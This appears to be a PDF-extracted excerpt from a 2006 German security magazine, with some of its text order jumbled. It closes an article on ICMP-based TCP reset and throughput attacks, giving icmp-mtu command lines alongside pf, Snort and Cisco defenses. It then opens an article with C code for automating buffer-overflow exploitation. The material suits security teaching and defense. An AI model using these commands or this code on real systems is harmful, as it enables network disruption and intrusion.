Wenn das Verhalten des Clients bekannt ist, können wir einen Bereich von Quellports angeben. Das Tool unterstützt alle Ports aus dem Bereich 0–65535. Für das obige Beispiel muss man nur 1000 Pakete verschicken. Nachdem der Zyklus abgeschlossen ist, startet das Tool erneut bei Port 3000, wenn der Client die Verbindung also direkt nach dem Abbruch neu aufbaut, wird sie immer wieder zurückgesetzt. Die Anwendung wurde an einem Netzwerkgerät getestet, das Dateien von einem Webserver he-

runterlädt. Die -c Option steht für den Client (IP:src port), -s für den Server (IP:dst port), -t gibt das Ziel an, das die Verbindung zurücksetzt (Client oder Server) und -r steht für rate und schränkt die für den Angriff beanspruchte Bandbreite (in kbps) ein. Normalerweise sind alle anderen Felder auf Standardwerte eingestellt und ICMP-Nachrichten vom Typ 3 Code 2 werden verschickt. Listing 9 stellt die tcpdump-Ausgabe dar. Der Client bricht die Verbindung daraufhin ab und schickt ein RST-Paket an den Webserver (siehe Listing 10). Das Tool wurde an einigen Microsoft-PCs getestet (mehr Informationen zu diesem Leck finden Sie im Microsoft Security Bulletin MS05-019 (893066)). Auf einem Windows Server 2003 Enterprise Edition Rechner ohne die entsprechende Korrektur hat das Tool eine Verbindung mit einem Putty-Client abgebrochen, wie Abbildung 9 zeigt. In Listing 11 stehen Details zum Ablauf des Angriffs.

Blind Performance Degrading

Dieser Angriff reduziert die Netzwerkleistung während einer TCPVerbindung. Der Host glaubt, dass seine Pakete größer als die zulässige PMTU sind. Die erzwungene Segmentierung beeinträchtigt das Durchsatzvermögen und lastet die CPU stärker aus. Dieselbe Übertragungsrate benötigt mehr Pakete (weil die TCP-Pakete kleiner als

Listing 13. Der ICMP-bezogene Abschnitt der pf.conf-Datei auf dem PC des Autors ext_if = "ne1" prv_if = "ne2" srv_mail ="192.168.1.5/32" my_bsd ="192.168.1.4/32" (...) # Block all inbound TCP requests on port 133, sending back ICMP unreachable block return-icmp in quick on $ext_if proto tcp from any to $srv_mail port auth # Let the admin bsd machine ping pass in on $prv_if inet proto icmp from $my_bsd to any icmp-type 8 code 0 keep state pass out on $ext_if inet proto icmp from $my_bsd to any icmp-type 8 code 0 keep state # Let the admin bsd machine receive time to live exceeded in transit and udp port unreachable pass in on $ext_if inet proto icmp from any to $my_bsd icmp-type 11 keep state pass out on $prv_if inet proto icmp from $my_bsd to any icmp-type 11 keep state pass in on $ext_if inet proto icmp from any to $my_bsd icmp-type 3 code 3 keep state pass out on $prv_if inet proto icmp from $my_bsd to any icmp-type 3 code 3 keep state

www.hakin9.org

hakin9 Nr. 2/2006

55

Techniken

optimal sind) und die erhöhte Paketzahl trägt zur erhöhten CPU-Auslastung bei. Wenn ein Host eine ICMPNachricht vom Typ 4 Code 0 erhält, muss er die Senderate herabsetzen. Dadurch kann ein Angreifer den Durchsatz auf der Übertragungsroute beeinträchtigen. Ein Beispiel: # icmp-mtu \ -c 10.239.7.27:1040-1060 \ -s 10.239.5.41:22 \ -t server -r 56 \

Über den Autor

Antonio Merola arbeitet als führender Sicherheitsexperte für die Telecom Italia. In seinem Berufsleben hat er sich mit vielen Aspekten der Sicherheit beschäftigt. Als freier Mitarbeiter dient er mehreren Unternehmen als Consulter und Ausbilder für verschiedene sicherheitsbezogene Themen. Er hat IT-Artikel in mehreren italienischen Zeitschriften veröffentlicht. In der letzten Zeit interessiert er sich für Honeypots und IDS/IPS-Sicherheitslösungen.

Danksagungen

Der Autor bedankt sich bei seinem Freund und Kollegen Massimo Fubini für die Zeit, die er im Labor mit den Tests von ICMP-Missbrauchsmöglichkeiten für diesen Artikel verbracht hat.

-D 300 -m 512

Die Option -D 300 bedeutet 300 Sekunden Pause vor der nächsten Runde und -m 512 setzt die Path MTU auf 512 Bytes (standardmäßig wird sie auf 68 Bytes, den kleinstmöglichen Wert, eingestellt). Eine tcpdumpAufzeichnung der Übertragung steht in Listing 12.

Snort ICMP-Regeln

Blind Throughput Reduction

Das bedeutet: Gibt mir einfach mit einer ICMP-Ping Nachricht Bescheid, wenn jemand von außen einen Host in meinem Netzwerk zu pingen versucht, oder

Dieser Angriffstyp verlangsamt die TCP-Verbindung entweder quell- oder zielseitig. Der Angreifer muss nur die IP-Adresse und die Portnummer der Quelle bzw. des Ziels kennen. Wenn ein Host eine ICMP-Nachricht vom Typ 4 Code 0 empfängt, muss er die Senderate reduzieren. Somit kann der Angreifer den Durchsatz auf dem Pfad herabsetzen. Normalerweise gibt der Client ein Fenster von X Bytes bekannt. Das heißt, dass er über einen Pufferspeicher für X Datenbytes verfügt (TCP Flow Control). Nach dem Dreiwegehandshake beginnt eine TCP-Verbindung im sogenannten langsamen Start-Modus, bei dem TCP die Übertragungsrate anhand der Bestätigungempfangsrate vom anderen Host anpasst. TCP-langsamer Start ist mittels der zwei Variablen cwnd (Congestion Window) und ssthresh (Slow Start Threshold) implementiert. Das cwnd ist eine senderseitige selbst auferlegte Einschränkung des Übertragungsfensters; es steigt an , indem sich TCP an die Behandlung vom Verkehr ohne größere Proble-

56

hakin9 Nr. 2/2006

Mit Snort werden die icmp-info.rules und die icmp.rules Dateien mitgeliefert. Ihre Untersuchung gibt uns eine gute Übersicht über die Missbrauchsmöglichkeiten von ICMP. Sehen wir uns eine der Signaturen aus icmp-info.rules an: alert icmp $EXTERNAL_NET any ->

§

$HOME_NET any (msg:”ICMP PING”; icode:0; itype:8; classtype:misc-activity; sid:384; rev:5;)

alert icmp $EXTERNAL_NET any ->

§

§

$HOME_NET any (msg:”ICMP redirect host”; icode:1; itype:5; reference:arachnids,135; reference:cve,1999-0265; classtype:bad-unknown; sid:472; rev:4;)

§

§

Das bedeutet: Gib mir mit einer ICMP redirect host Nachricht Bescheid, wenn jemand von außen das Host-Routing in meinem Netzwerk zu modifizieren versucht. In diesem Nachrichtentyp erhalten wir auch eine Referenz, wenn eine vorhanden ist, beispielsweise die typischen Risikopunkte.

me gewöhnt. Das ssthresh legt die Übertragungsgeschwindigkeit fest, bei der TCP die langsamer StartPhase verlässt. Wenn cwnd den Wert von ssthresh überschreitet, verlässt die

TCP-Sitzung die langsamer StartPhase in diese Richtung. Nach wenigen Übertragungen in die eine und in die andere Richtung überschreitet cwnd den sshthresh-Wert und die Sitzung gilt als nicht mehr in der

Im Internet • • • • •

http://www.sans.org/rr – SANS-Leseraum, http://sourceforge.net/projects/sing – das SING tool, http://www.gont.com/ar – ICMP gegen TCP Angriffstools, http://www.microsoft.com/technet/security/bulletin/MS05-019.mspx http://www.tcpipguide.com/free/t_ICMPOverviewHistoryVersionsandStandards. htm

www.hakin9.org

langsamer Start-Phase befindlich, die TCP-Verbindung hat also den Optimalzustand erreicht, bei dem cwnd ungefähr der Leitungskapazität entspricht. Von nun an bewegt sich das Staufenster linear. Eine ICMP source quench Nachricht versetzt die Verbindung immer wieder in die langsamer Start-Phase und der Server schickt jeweils nur ein Segment auf einmal, so dass der Verbindungsdurchsatz auf ein Paket pro RTT (Round Trip Time) herabgesetzt wird. Ein Beispiel eines solchen Angriffs ist auf Fernando Gonts Website (siehe Kasten Im Internet) zu finden.

Abwehr gegen ICMPAngriffe

Das Problem mit der ICMP-Behandlung ist, dass eine zustandsbehaftete Filterung erforderlich ist. ICMP ist nicht zustandsorientiert wie UDP, also ist es schwierig, eine Verbindung mit ICMP-Reaktionen auf dauerhafte Probleme zu verfolgen. Während request/replyNachrichten einfach zu behandeln sind, weil wir es mit einer Anfrage und einer Reaktion zu tun haben, ist das der einzige Fall, wo ICMP als zustandsbehaftet bezeichnet werden könnte. Die meisten ICMP-Abwehrmaßnahmen werden im Umkreis ergriffen. Beispielsweise stellen Cisco-Router den no ip unreachables Befehl bereit, der den Router veranlasst, keine ICMP-Nachrichten vom Typ 3 zu verschicken, wenn ein Host nicht erreicht werden kann. Weiterhin gibt es das no ip directed-broadcast Kommando, das den Verkehr auf Broadcast-Adressen (beispielsweise den Smurf-Angriff) meidet und das no ip source-routing, das SourceRouting deaktiviert. Allerdings fehlt ein no ip redirects, mit dem man bösartige Pfadmodifikationen verhindern könnte. ICMP redirect Nachrichten sollten mit einem entsprechenden Filter mit Eingangsfilterung an Routern gesperrt werden, während fragmentation required nur zugelassen werden sollten, um Fragmentierung zu vermeiden.

Die verwendete Firewall sollte ICMP-Pakete unterstützen und die Vorgabe einzelner Typen und Codes erlauben. Die Nutzer des Paketfilters von OpenBSD sehen in Listing 13, wie Schutz gegen ICMP-Angriffe in PF implementiert werden kann. OpenBSD ist eine gute Wahl, nicht nur weil es eine beeindruckende Sicherheitsgeschichte mitbringt, sondern auch weil es ICMP-Pakete zustandsorientiert filtern kann, Fehlermeldung mit den jeweiligen TCP- und UDP-Verbindungen assoziiert (die keep state Option) und das erste Betriebssystem war, dass einen kompletten Satz von Gegenmaßnahmen gegen ICMP-gestützte Angriffe implementiert hat. Auch ein Einbruchdetektionssystem sollte eingerichtet werden und nach anormaler ICMP-Aktivität Ausschau halten. Snort (siehe Kasten Snort ICMP-Regeln) verfügt über Signaturdateien für potenziell gefährlichen ICMP-Verkehr. Mit diesen Signaturen kann man die meisten Scanning-Tools sowie ICMP-Missbrauch wie redirect host erkennen. Bevor wir einen ICMP-Schutz implementieren und fast den gesamten ICMP-Verkehr verwerfen, sollten wir uns schließlich überlegen, ob es wirklich die Mühe wert ist. Während eine niedrigere Sicherheitsstufe Eindringlingen eine schnellere Netzwerkerkundung vor einem Angriff ermöglicht, funktionieren bestimmte Dienste reibungsloser (beispielsweise kann man mit dem Ausgeben von destination unreachable am TCPPort 113 sendmail-Verbindungen schneller beenden, ohne dass das Programm auf Timeouts zu warten braucht). Sich gegen ICMP-Angriffe zu schützen ist nicht schwierig und obwohl ICMP als ein relativ harmloses Protokoll im Sinne potenzieller Sicherheitslücken gilt, kann das Netzwerk unter mangelnden adäquaten Schutzmaßnahmen leiden. Nehmen Sie das Problem also ernst und stellen Sie sicher, die erforderlichen Maßnahmen zu ergreifen. l

www.hakin9.org

Programmieren

Automatisierung des Exploiting-Prozesses auf der Linux/x86-Plattform Stavros Lekkas

Schwierigkeitsgrad

Die Fehleranalyse von Binärdateien ist eine mühsame Aufgabe für Penetrationstester. Ein Tool, das Pufferüberlauffehler erkennen und Exploitcode automatisch erstellen könnte, würde den Arbeitsaufwand deutlich reduzieren.

S

tellen Sie sich vor, auf einen kompilierten Code zu stoßen, ohne den Quelltext zur Verfügung zu haben. Der Code weist auch noch die typischen Merkmale, die Anfälligkeit für Pufferüberlauffehler kennzeichnen, auf. Da die Analyse durch Disassemblierung sehr zeitintensiv ist, wäre ein Tool durchaus nützlich, das das Ausnutzen dieser Lücke automatisieren würde. Sehen wir uns die möglichen Implementationen solch eines Tools an. Indem wir behaupten, dass eine Software einen stapelbezogenen Pufferüberlauffehler enthält, implizieren wir, dass es einen Speicherbereich, den sog. Puffer gibt, in den Daten kopiert werden. Solche Puffer befinden sich im Stapel und werden mit Adressen angesteuert. Des Weiteren werden beim Kopieren der Daten die Grenzen nicht überprüft, wodurch wir einen Überlauf riskieren. Nachdem ein Puffer übergelaufen ist, werden auch einige Segmente außerhalb seines Bereiches überschrieben. Effektive Manipulation solcher Segmente mittels gültiger Daten lässt den Programmfluss bloß mit gültigen Zeigeradressen kontrollieren. Die erwähnten Daten, die in den Puffer eingetragen werden, nehmen manchmal die Form

58

hakin9 Nr. 2/2006

der Benutzereingabe an. Das Programm kann sie aus mehreren Quellen entgegennehmen: Als Programmargumente (bzw. -parameter), Umgebungsvariablen und sogar Eingaben, die zur Laufzeit mit den libc-Funktionen gets(), scanf() usw. eingelesen werden. Da jede dieser

In diesem Artikel erfahren Sie... • • • •

wie eine konkrete Art von Bugs ohne Quelltext erkannt werden kann, was die notwendigen Schritte zum Ausnutzen dieser Lücke sind, was die Kriterien für eine generische Exploitcodevorlage sind, was diese Automatisierung wertvoll macht.

Was Sie vorher wissen/können sollten... • • •

www.hakin9.org

Grundkenntnisse der C-Programmierung unter Linux, Anwenderkenntnisse des Linux-Betriebssystems, Kentnisse über die Funktion des Linuxstapels.

Automatisiertes Exploiting

Fuzzing

Fuzzing bedeutet das Anwenden von Fuzzy Logik. Die Fuzzy-LogikTheorie befasst sich mit Uneindeutigkeit und versucht, Unsicherheiten mathematisch zu kategorisieren und zu klassifizieren. In der Mathematik besitzt die Menge aller ganzen Zahlen eine unendliche Kardinalität, die Menge aller reellen Zahlen ebenso usw. Dennoch ist bei Computern alles endlich und die Rechenoperationen mit wirklich großen Operanten können scheitern.

Eingabemethoden einen separaten Artikel verdient, konzentrieren wir uns hier auf Programmargumente als Angriffsvektor. Es ist wichtig zu sagen, dass das Automatisierungskonzept nichts mit Fuzzy Logik zu tun hat und dass das entwickelte Tool keine FuzzingTechniken einsetzt. Die Versuche, konkrete Lücken durch Inspektion der Ausgabedaten für konkrete Eingaben zu finden sind kein Fuzzing (siehe Kasten Fuzzing). Auf unserer Suche nach Methoden, %eip (für Erklärung siehe Abbildung 1) mit Argumenten zu kontrollieren, müssen wir uns einige Gedanken darüber machen, was uns eigentlich erwartet. Eine Binärdatei ist beispielsweise entweder anfällig oder nicht. Diese Voraussetzung kann als entweder resultiert aus dem n-ten Argument eine Anfälligkeit oder nicht. Wenn ja, besteht eine endliche Entfernung, die mit Zeichen ausgefüllt werden muss, damit %eip erreicht wird. Indem wir diese Anforderungen in eine vordefinierte Wertereihe umwandeln, unterstützen wir die Erstellung eines endlichen Frameworks aus einem geschlossenen Konstruktionsmodell.

Programmargumente

Viele Applikationen erhalten Argumente bevor ihre Ausführung beginnt. Ein typisches Beispiel ist der rm-Befehl, wo wir als Parameter vorgeben müssen, was gelöscht werden soll. Gehen wir von einer Ap-

Abbildung 1. Konzeptuelle Darstellung einer unsicheren Kopieroperation

Abbildung 2. Flussdiagramm der Payload-Erstellung, Algorithmus eins plikation a.out aus, die einfach den Zeichenstrom ausgibt, der als erstes Argument übergeben wird.

$ ./a.out `perl –e ‘print "A" x 50’`

$ ./a.out hakin9

Es stürzt ab und es wird ein Coredump angelegt. Viele Linuxdistributionen erzeugen allerdings keine Coredumps, also aktivieren wir diese Funktionalität mit dem Kommando:

You typed: hakin9

Es besteht eine Wahrscheinlichkeit, dass statt eines einfachen printf()Aufrufs mit argv[1] als Parameter ein Zwischenspeicher, ein Zeichenarray, angelegt wird. Dann wird argv[1] in den Puffer kopiert und printf() verwendet ihn als Parameter mit einem passenden Formatstring. Es ist auch möglich, dass argv[1] in den Puffer auf eine unsichere Art und Weise kopiert wird. Was passiert, wenn wir immer längere Eingaben in das Programm einspeisen?

www.hakin9.org

You typed: AAAAAAA … AAA Segmentation fault (core dumped)

$ ulimit -c unlimited

Somit lassen wir die Erstellung von Coredumps mit unbeschränkter Größe zu. Zurück in unserem Beispiel bedeutet der Absturz des Programms mit der Ausgabe Segmentation fault, dass tatsächlich ein Zwischenspeicher eingesetzt wird, in den argv[1] auf eine unsichere

hakin9 Nr. 2/2006

59

Programmieren

Art und Weise kopiert wird. Mit gdb, dem GNU-Debugger, können wir die Speicheraddresse ermitteln, die den Absturz mit Segmentation fault verursacht hat.

Listing 1. Das Payload-Erstellungssubsystem char *make_payload(char *buffer, int policy, LINT num) // policies: // _APPEND ~ append $num 'A'[s] // _REMOVE ~ remove $num 'A'[s] { char *my_buffer; LINT i, len = strlen(buffer);

$ ./gdb –c core ./a.out | grep \#0 #0 0x41414141 in ?? ()

if( policy == _APPEND ) { if( !(my_buffer = (char *)malloc( len + num + 1 )) ) { fprintf(stderr, "[!] make_payload(): malloc() append error.\n"); exit(EXIT_FAILURE); } CLEAR(my_buffer); if( len != 0 ) for( i = 0; i < len; i++ ) my_buffer[i] = *(buffer++); for( i = len; i < len + num; i++ ) my_buffer[i] = 'A';

}

my_buffer[i] = 0x00;

if( policy == _REMOVE ) { if( !(my_buffer = (char *)malloc( len - num + 1 )) ) { fprintf(stderr, "[!] make_payload(): malloc() remove error.\n"); exit(EXIT_FAILURE); } CLEAR(my_buffer); for( i = 0; i < len - num; i++ ) my_buffer[i] = *(buffer++);

}

}

Dies ergibt einen Sinn, weil 0x41 der hexadezimale ASCII-Code von A ist. Abbildung 1 stellt ein detailierteres Schema der ganzen Situation dar. Der Befehlszeiger wurde mit einer ungültigen Adresse überschrieben, was zum Absturz des Programms führte (vergleiche den Artikel Stacküberlauf unter Linux auf der x86-Plattform von der hakin9.org-Website). Statt fünfzig A‘s in das Programm einzuspeisen, können wir auch die Entfernung bis zum Ende von %ebp genau ermitteln, indem wir sie mit A‘s füllen und dann eine gültige Adresse vorgeben. So können wir den Fluss des ausgeführten Programms kontrollieren, so dass von uns eingeschleuster Code ausgeführt wird. Dieses Ziel kann automatisch realisiert werden.

Ansammlung von Informationen

my_buffer[i] = 0x00;

Hier ist zu erwähnen, dass die für jede ausführbare Datei relevanten Informationen die Nummer des Arguments, das uns %eip manipulieren lässt und die Entfernung zu %eip sind. Im vorigen Beispiel haben wir die gdb-Anwendung für jede mögliche Argumentlänge aufgerufen, indem jeweils ein höherer Pufferpayload vorgegeben wurde. Anschließend mussten wir den Wert des Befehlszeigers inspizieren und das jeweilige Einflussausmaß unserer Eingabe darauf abschätzen. Wenn die Datei tatsächlich für den Angriff anfällig ist, bekommen wir es während der Untersuchung mit drei verschiedenen Zuständen zu tun. Der Reihe nach kommen die folgenden drei Zustände vor:

return my_buffer;

• Abbildung 3. Flussdiagramm der Payload-Erstellung, Algorithmus zwei

60

hakin9 Nr. 2/2006

www.hakin9.org

ein Wert, der keiner Änderung des Befehlszeigers entspricht, kann mehrere Male vorkommen;

Safety Lab Werbung

SAFETY LAB SHADOW SECURITY SCANNER Safety Lab Shadow Security Scanner ist ein proaktiver Scanner zur Einschätzung von Sicherheitsschwächen in Rechnernetzen mit mehr als 4000 Testarten. Es gehört einer neuen Generation hochmoderner Software (network vulnerability assessment scanner) die sich im 20. Jahrhundert ausgezeichnet bewährt hat und auch im neuen Jahrtausend an der Spitze bleibt! Shadow Security Scanner (network vulnerability assessment scanner) hat sich den Namen des leistungsstärksten – und gründlichsten – Sicherheitsscanners in seinem Marktsektor gesichert, indem er viele Produkte berühmter Marken überbieten konnte. Shadow Security Scanner wurde für eine sichere, schnelle und zuverlässige Erkennung einer langen Reihe von Sicherheitslücken entwickelt. Nachdem die Sicherheitsprüfung abgeschlossen ist, analysiert Shadow Security Scanner die angesammelten Daten, peilt die Schwachstellen und potenziellen Fehler in Servertuningeinstellungen an und schlägt mögliche Lösungen für die einzelnen Probleme vor. Shadow Security Scanner setzt einen einzigartigen Sicherheitprüfungsalgorithmus ein, der sich auf einen patentierten intellektuellen Kern stützt. Shadow Security Scanner scannt das System mit solch einer Geschwindigkeit und zugleich Präzision, dass er professionellen IT-Sicherheitsdiensten und Hackern, die Ihr Netz knacken wollen, Konkurrenz machen kann. Obwohl er auf seiner nativen Windowsplattform arbeitet, scannt Shadow Security Scanner auch Server mit anderen Plattformen, indem er erfolgreich Lücken in Unix, Linux, FreeBSD, OpenBSD, Net BSD, Solaris und natürlich Windows 95/98/ME/NT/2000/XP/.NET Systemen ermittelt. Dank seiner einzigartigen Architektur ist Shadow Security Scanner als einziger weltweit im Stande, Fehler von CISCO-, HP- und anderer Netzwerkhardware aufzuspüren. Er ist auch der einzige kommerzielle Scanner, der mehr als 4.000 Tests pro System verwalten kann. Zurzeit werden die folgenden Dienste unterstützt: FTP, SSH, Telnet, SMTP, DNS, Finger, HTTP,

Kontakt:

POP3, IMAP, NetBIOS, NFS, NNTP, SNMP, Squid (Shadow Security Scanner ist der einzige Scanner, der Proxyserver zu behandeln weiß – andere Produkte überprüfen nur die Erreichbarkeit von Ports), LDAP (Shadow Security Scanner ist der einzige Scanner, der LDAP-Server testet – andere Scanner begnügen sich mit der Portprüfung), HTTPS, SSL, TCP/IP, UDP, und Registrydienste. Dank einer völlig offenen (ActiveX-basierten) Architektur kann er von jedem Profi mit VC++, C++ Builder oder Delphi-Kenntnissen ohne großen Aufwand funktional erweitert werden. Die ActiveX-Technologie ermöglicht auch die Integration des Shadow Security Scanner mit praktisch jedem Produkt, das ActiveX unterstützt. Da der Scanner einen vollen Zugriff auf seinen Kern bietet, können Sie mit seiner API (mehr Informationen dazu finden Sie in der Dokumentation) sein Verhalten sowie seine Eigenschaften und Funktionen beliebig gestalten. Wenn Sie kein Programmierer sind, aber über Grundkenntnisse von Rechnernetzen verfügen und eine neue Sicherheitslücke entdeckt haben, können Sie sich entweder direkt mit Safety-Lab in Verbindung setzen oder den BaseSDK Wizard verwenden: dieser führt Sie Schritt für Schritt durch die Erstellung eines neuen Tests. BaseSDK lässt Sie mehr als 95% neuer Testtypen hinzufügen Der Regeln- und Einstellungeneditor ist ein Muss für Anwender, die nur konkrete Ports und Dienste scannen wollen, ohne Zeit und Ressourcen für andere zu vergeuden. Die flexible Detailkonfiguration lässt Systemadministratoren die Scantiefe und andere Optionen verwalten, um vom auf Geschwindigkeit hin optimierte Scannen ohne Qualitätsverlust zu profitieren. Auch die Funktion gleichzeitiger Scans mehrerer Netzwerke (bis zu 10 Hosts pro Sitzung)

wurde für eine verbesserte Leistung hinzugefügt. Eine andere einmalige Fähigkeit des Scanners ist die Speicherung detaillierter Sitzungslogs nicht nur im üblichen HTML-Format (das in 99% solcher Produkte angeboten wird), sondern auch als XML-, PDF-, RTF- und CHM-Dateien (kompiliertes HTML). Die neue Oberfläche ist sowohl anwenderfreundlich und einfach zu verwenden und wurde auf einen noch einfacheren Zugriff auf die wichtigsten Programmoptionen hin optimiert. Die Verwaltung der Einstellungen ist in Shadow Security Scanner auch leichter: für alle Schlüsselelemente der Programmoberfläche stehen Hilfsblasen mit übersichtlichen Beschreibungen ihrer Funktionen bereit. Der Update Wizard ermöglicht laufende Belieferung der ausführbaren Programmmodule mit topaktuellen Sicherheitsinformationen und gewährleistet somit einen zuverlässigen Schutz Ihres Systems und hohe Widerstandsfähigkeit gegen bösartige Angriffe. Safety-Lab bietet für sein neues Produkt auch direkten Zugriff auf den Internet Security Expert Dienst und auf die täglich aktualisierte Downloadzone.

Achtung! Safety Lab bietet hakin9-Lesern eine komplette Version des Shadow Security Scanner mit Einschränkung auf 5 IP-Adressen. Um das kostenlose Angebot wahrzunehmen, installieren Sie die Version von hakin9.live und schicken Sie eine E-Mail an [email protected] mit dem Betreff hakin9Safety-lab SSS offer – Sie erhalten die Codes für die kostenlose Version. Das Angebot gilt bis zu 31. Mai 2006.

Safety-Lab E-Mail: [email protected] http://www.safety-lab.com/en/

WERBUNG

Programmieren

•

•

ein Wert, der einer teilweise Überschreibung des Befehlszeigers entspricht, kommt einmal vor und wir wissen, dass der nächste Versuch deterministisch dem dritten Zustand (bspw.: 0x00414141) entspricht; ein Wert, der einer völligen Überschreibung des Befehlszeigers (bspw.: 0x41414141) entspricht.

Beachten Sie, dass eine erfolgreiche teilweise Überschreibung der Änderung dreier von vier Bytes des %eip entspricht. Die 0xbfff4141Adresse kann nicht als verdächtigt betrachtet werden, weil sie eine gültige Stapelzeigeradresse ist. Der Wert 0xbf414141 erscheint allerdings viel verdächtigter, weil der Stapel nur selten so hoch anwachsen kann. Obwohl die endgültige Implementation diese Frage löst, wäre es eine gute Idee, weight-Konstanten zu definieren, um hervorzuheben, wie kritisch und absichtlich die potenzielle Überschreibung sein kann.

Payload-Erstellung, Algorithmus eins

Das für die Erstellung von Payloads zuständige Subsystem tut nicht mehr als mit A‘s gefüllte Puffer anzulegen. Eine ziemlich verständliche Methode, solche Payloads zu erstellen, ist die berühmte Brute-Force-Technik. Es werden Puffer von allen möglichen Längen angelegt, die einer nach dem anderen ausprobiert werden, bis ein Änderungssymptom erkannt wird oder bis die maximale Pufferlänge für den Testbereich erreicht wird. Wenn das Argument für den Fehler anfällig und der Testbereich derselbe sind, kann eine absichtliche Änderung mit Sicherheit erkannt werden. Abbildung 2 stellt diesen Algorithmus dar. Die Erstellung jeweils um ein Byte inkrementierter Puffer hat ihre Vor- und Nachteile. Ein Vorteil ist, dass die Programmkomplexität auf Kosten der Rechenzeit reduziert wird. Grundsätzlich ist dies die abstraktere Implementation. Wenn die Inkrementierung

62

hakin9 Nr. 2/2006

Listing 2. Das Ausführungs- und Inspektionssubsystem mit Einsatz von gdb, grep und awk int exec_and_inspect_1(char *buffer, int arg, char *vulnfile) { //returns: -2 ~ internal error // -1 ~ not a smash // 0 ~ definately a smash :) // 1 ~ probably a smash char int FILE u_long

tmp[512], bufresponse[64]; inspec_val, i; *fd; address;

close(2); // gdb prints to stderr if( (fd = fopen(CMDF, "w+")) == NULL ) { ttyd = open("/dev/tty", O_RDONLY); fprintf(stderr, "[!] exec_and_inspect_1(): error creating gdb command file.\n"); fflush(stderr); return -2; } fprintf(fd, "r "); for(i = 0; i < arg - 1; i++) fprintf(fd, "foo "); fprintf(fd, "%s\nquit\n", buffer); fclose(fd); CLEAR(tmp); snprintf(tmp, 511, "%s %s --command=%s|%s 0x | %s {'print $1'} > %s", GDB, vulnfile, CMDF, GREP, AWK, RETF); system(tmp); unlink(CMDF); CLEAR(bufresponse); if( (fd = fopen( RETF, "r")) == NULL ) { ttyd = open("/dev/tty", O_RDONLY); fprintf(stderr, "[!] exec_and_inspect_1(): error reading gdb output file.\ n"); fflush(stderr); return -2; } fgets(bufresponse, 63, fd); fclose(fd); address = strtoul(bufresponse, 0, 16); if(verbose) fprintf(stdout, "-> Buffer len: %ld\n", strlen(buffer));

Fortsetzung folgt

jeweils mehr als ein A beträgt, wird der Prozess zwar beschleunigt, allerdings erscheinen dann Konflikte mit unseren drei %eip -Zuständen. Denken Sie daran, dass eine Änderung nur dann als absichtlich klassifiziert wird, wenn alle vier %eip -Bytes im vorigen Versuch modifiziert worden sind.

www.hakin9.org

Listing 1 zeigt eine Implementation des Payloaderstellungssubsystems als eine völlig wieder verwendbare Komponente. Da der Code aus Listing 1 malloc() zum Allozieren eines Puffers verwendet und einen Zeiger darauf ausgibt, muss der Speicher anschließend freigegeben werden.

Automatisiertes Exploiting

Dies erzielen wir mit dem folgenden Code:

Listing 2. Das Ausführungs- und Inspektionssubsystem mit Einsatz von gdb, grep und awk (Fortsetzung)

char *p;

switch( address_status( address ) ) { case 0: // 0x41414141 if( flag == 1 ) { //if the 3 lsb have been overwritten previously if(verbose) { fprintf(stdout, "-> %%eip status: definately smashed. "); printfixed(address); } inspec_val = 0; } else { // eip smashed with the first try, this implies 2 cases. // 1st: gdb --command reported wrong address so we must skip // 2nd: fast check found a vuln buffer if(verbose) { fprintf(stdout, "-> %%eip status: probably smashed. "); printfixed(address); } inspec_val = -1; } break; case 1:// 3 lsb have been overwritten // either we are about to overwrite the %eip at next try or // fast check smashed 3/4 of the %eip. interesting, we should // force an additional round to get ensured. flag = 1;

p = make_payload("foo", _APPEND, 1); free(p);

Payload-Erstellung, Algorithmus zwei

Statt das Payload jeweils um ein einziges A zu vergrößern, könnten wir es auch gleich um ganze Blöcke von A‘s tun. Das steht allerdings im Konflikt mit unseren drei möglichen %eip -Zuständen und ist daher in dem Tool nicht implementiert. Um genauer zu sein, besteht eine bedeutende Wahrscheinlichkeit, dass Zustand 2 nie vorkommt, was dem zurzeit definierten Fluss interner Zustände widerspricht. Wenn wir Puffer aus A-Blöcken bilden, scheint der hinsichtlich der Leistung sinnvollste Wert drei A‘s pro Block zu sein. Genauer gesagt, ergibt sich der optimale Wert aus der Formel:

if(verbose) { fprintf(stdout, "-> %%eip status: partially smashed. "); printfixed(address); }

block_len = word_size( %eip size in bytes) – 1 <=> (1)

case -1:

block_len = 4 – 1 <=> block_len = 3

Das gibt uns drei mögliche Fälle von %eip -Überschreibszenarien. Einer der interessantesten Fälle ist, wenn %eip völlig überschrieben wird und die Payloadlänge nicht genau an die Entfernung angepasst ist. Hier sollte das Payloaderstellungssubsystem kürzere Payloads erstellen. In diesem Fall nimmt Zustand 3 in der Reihenfolge die Stelle des Zustands 2 und umgekehrt. Grundsätzlich bietet diese Methode bessere Geschwindigkeit, umfasst jedoch sowohl Vor-, als auch Rückwärts-Payloaderstellung (siehe Abbildung 3). Bei passender Kategorisierung von Kriterien der %eip-Änderung wäre dies die optimale Methode, Payloads aus Blöcken fester Länge zu erstellen. Denken Sie daran, dass der Algorithmus nicht im Code des Tools berücksichtigt ist, wenn Sie diesen Artikel also interessant finden, liegt es bei

default:

inspec_val = -1; break; if(verbose) { if(address) { fprintf(stdout, "-> %%eip status: not smashed. "); printfixed(address); } else fprintf(stdout, "-> %%eip status: not smashed. (unaccessible)\ n"); } inspec_val = -1; break; fprintf(stderr, "[!] I shouldn't be here.\n"); inspec_val = -2;

} unlink(RETF);

}

return inspec_val;

Ihnen, ihn effektiv und effizient zu implementieren.

Inspektion, Algorithmus eins

Das Ausführungs- und Inspektionssubsystem bildet die zweifellos wertvollste Komponente des Tools,

www.hakin9.org

weil es einen einfachen Entscheidungsmotor enthält. Seine Rolle ist nicht so passiv wie die des Payloaderstellungssubsystems. Dieses Subsystem ist für die Ausführung der fehlerhaften Anwendung mit dem vorbereiteten Payload im richtigen Argument zuständig und ent-

hakin9 Nr. 2/2006

63

Programmieren

